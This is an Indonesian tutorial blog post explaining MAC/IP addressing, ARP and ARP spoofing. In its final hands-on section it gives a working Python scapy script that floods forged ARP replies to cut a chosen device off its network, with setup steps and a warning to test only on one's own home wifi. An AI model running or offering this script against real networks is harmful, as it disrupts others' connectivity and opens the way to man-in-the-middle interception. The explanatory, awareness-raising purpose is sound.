Disclaimer: bagi anda yang setelah membaca tulisan ini ingin menguji “kemampuan”, jangan coba-coba menggunakannya di wifi publik atau perkantoran. Anda akan dengan sangat mudah tertangkap oleh admin jaringan.
Tulisan ini akan menjelaskan konsep ARP Spoofing dan sedikit praktik di bagian akhir. Jadi bagi yang sekedar ingin tahu dan yang ingin memiliki pengalaman dapat membacanya. Without further ado. Let us start.
Sebelum membahas ARP, saya harus menjelaskan sedikit tentang MAC address dan IP Address. MAC address adalah “alamat fisik” dari suatu alat elektronik yang memiliki kemampuan untuk tersambung dengan jaringan. Komputer, laptop, smartphone, tablet, iPad, PS4, smart TV, selama bisa tersambung dengan jaringan internet, benda-benda tersebut memiliki MAC address. Berikutnya, IP address adalah “alamat abstrak” dari suatu MAC address dalam suatu jaringan.
Duuh Zak, kalo udah ada satu alamat kenapa harus dobel ada MAC dan IP siih ?
Bayangkan misal nama anda ANDRE, seorang manager beristri sekaligus juga aktif sebagai Ketua RT 013. Di kantor, bawahan anda memanggil PAK MANAGER; Di rumah istri anda memanggil MAS atau PAPA; di linkungan RT 013, warga akan memanggil anda PAK RT. Panggilan PAK MANAGER, PAPA dan PAK RT merujuk pada orang yang sama yaitu ANDRE. Ganti ANDRE dengan MAC address laptop anda misal “3A:D2:FF:A0:12:3C” kemudian PAK MANAGER menjadi IP “172.204.3.10” di wifi kantor ; PAPA menjadi IP “192.168.1.5” di wifi rumah; PAK RT menjadi IP “144.132.0.9” di wifi balai desa. Kira-kira begitulah analogi MAC address dan IP address. MAC address selalu sama namun IP address dapat berubah-ubah tergantung di mana anda terhubung. Banyak alasan mengapa harus dipetakan suatu MAC address ke IP address, salah satunya adalah batasan kapasitas perangkat internet seperti router untuk membuat sambungan dalam satu waktu.
Lantas apa itu ARP?
ARP adalah singkatan dari Address Resolution Protocol, sebuah mekanisme yang digunakan dalam suatu jaringan untuk mengatur pemetaan MAC address ke IP address. ARP umumnya melakukan pemetaan menggunakan dua protokol yaitu “who-has” dan “is-at”. Sesuai namanya “who-has” digunakan untuk bertanya dan “is-at” untuk menjawabnya. Contoh:
Mamat sebagai Pak RT datang ke rumah Budi untuk melakukan sensus.
Mamat : Saya Pak RT, Siapa anda ? (who-has)
Budi : Saya Budi Pak tinggal di alamat ini. (is-at)
Analogi percakapan berikut Pak RT Mamat adalah Internet Gateway dan Budi adalah calon korban. Dari hanya pertemuan itu di dunia nyata, rasanya tidak ada cara Budi untuk mengetahui apakah Andre adalah Pak RT yang otentik atau sebaliknya. Hal ini merupakan celah di hubungan OSI layer 2 dan 3 yang rentan terhadap ARP Spoofing. Entah mengapa hingga kini masih tetap menjadi celah. Sekarang coba bayangkan :
Andre berpura-pura sebagai Pak RT datang ke rumah Budi
Andre : Saya Pak RT, Siapa kamu ?
Budi : Saya Budi Pak tinggal di sini.
Keesokan harinya…
Andre : Saya Pak RT, Siapa kamu ?
Budi : Saya Budi Pak tinggal di sini.
Keesokan harinya…
Andre : Saya Pak RT, Siapa kamu ?
Budi : Saya Budi Pak tinggal di sini.
Apa yang akan terjadi dengan Budi? saya tidak tahu di dunia nyata, bisa jadi Budi curiga lalu melapor polisi. Tetapi di dunia Digital, Budi akan percaya bahwa Anda adalah Pak RT. Hal ini adalah celah yang tadi sempat kita singgung, tidak adanya mekanisme untuk mengecek otentikasi. Ganti Pak RT Mamat dengan Gateway, Budi dengan Sambungan internet korban, Andre sebagai anda dan periode besok dengan setiap 1 mili second. Selamat anda baru saja melakukan ARP Spoofing.
Budi (korban) alih-alih mengirim request ke Pak RT Mamat (Router / Internet) malah mengirim request ke Anda, karena Budi percaya bahwa Anda adalah Pak RT. Internet Budi tidak akan pernah tersambung karena dia mengirimkan paket ke Anda bukan ke router. Serangan siber ARP spoofing berhenti hingga di sini, jika anda meneruskan request Budi (korban) dengan mengintai isi requestnya anda sedang melakukan serangan siber Man-in-the-Middle (MITM).
Hands-on Python
Sejak terakhir saya berkuliah cybersecurity tahun 2014, sudah terdapat banyak pembaharuan library untuk ARP Spoofing ini. Pada waktu itu saya harus mati-matian membuat kode C yang harus di compile dengan library network, namun sekarang dengan library scapy 2.4 di Python cukup dengan empat baris kode maka bisa melumpuhkan internet seseorang.
Untuk yang berencana melakukan hands-on pastikan hal berikut sudah terinstall :
- Python (download di https://www.python.org/downloads/)
- Scapy (Buka terminal lalu ketik:
pip install scapy
)
Kemudian untuk korban (internet yang dimatikan), mari gunakan HP anda masing-masing. Pastikan HP anda tersambung dengan wifi yang sama dengan laptop anda kemudia non-aktifkan layanan GSM-nya. Carilah hal hal berikut :
- IP address gateway (Buka cmd ketik
ipconfig
) biasanya di wifi rumah “192.168.1.1” - IP address HP Anda (Buka setting > Wifi > Advanced)
- MAC address HP Anda (Buka setting > Wifi > Advanced)
Buat kode python berikut dengan nama spoof.py seperti berikut :from scapy.all import ARP, send
packet = ARP(op="who-has", pdst="ip_korban", hwdst="mac_korban", psrc="ip_gateway")
while True:
send(packet, verbose=False)
Masukkan parameter ip_korban, mac_korban dan ip_gateway. Contoh jika IP Korban “192.168.1.5”, MAC Korban ”AE:22:FF:D7:12:A0” dan IP Gateway “192.168.1.1” maka line kedua menjadi seperti ini :
packet = ARP(op="who-has", pdst="192.168.1.5", hwdst="AE:22:FF:D7:12:A0", psrc="192.168.1.1")
Jalankan kode dengan mengetik python spoof.py
di layar terminal anda.
Jika berhasil HP anda tidak dapat terkoneksi dengan internet dan anda baru saja melakukan ARP spoofing ke HP anda sendiri. Untuk mematikan bisa close terminal atau menggunakan ctrl+c
.
Terima kasih yang sudah membaca hingga kini. Saya mengerti banyak dari pembaca yang ingin langsung mencobanya, tentunya silakan saja. Namun, jangan lakukan di wifi publik atau perkantoran, karena anda akan dengan mudah tertangkap admin jaringan di sana. Layaknya belajar ilmu silat anda tentu membutuhkan teman sparring, yang terbaik pada tahap ini adalah wifi rumah anda. Namun bagi yang nekat, hal tersebut adalah risiko anda pribadi.
Tulisan ini ditulis dengan tujuan membuat anda mengetahui adanya macam serangan tersebut dan waspada. Jika anda tertarik untuk menjadi admin jaringan, serangan ini merupakan salah satu serangan internal yang sering anda temui. Bahkan saya menemui adanya serangan ini di kossan saya saat kuliah dulu di tahun 2009-2010. Sang penyerang mensabotase internet kossan selama dua minggu sehingga dia mendapatkan full internet bandwidth. Akhir cerita sang penyerang dihukum dengan sanksi untuk tetap menunaikan kewajiban membayar internet bulan itu tanpa mendapatkan koneksi internet sama sekali. Sekian tulisan saya kali ini semoga bermanfaat.
———————
Fadhli Zakiy
M.Sc. Cyber Security, Institut Teknologi Bandung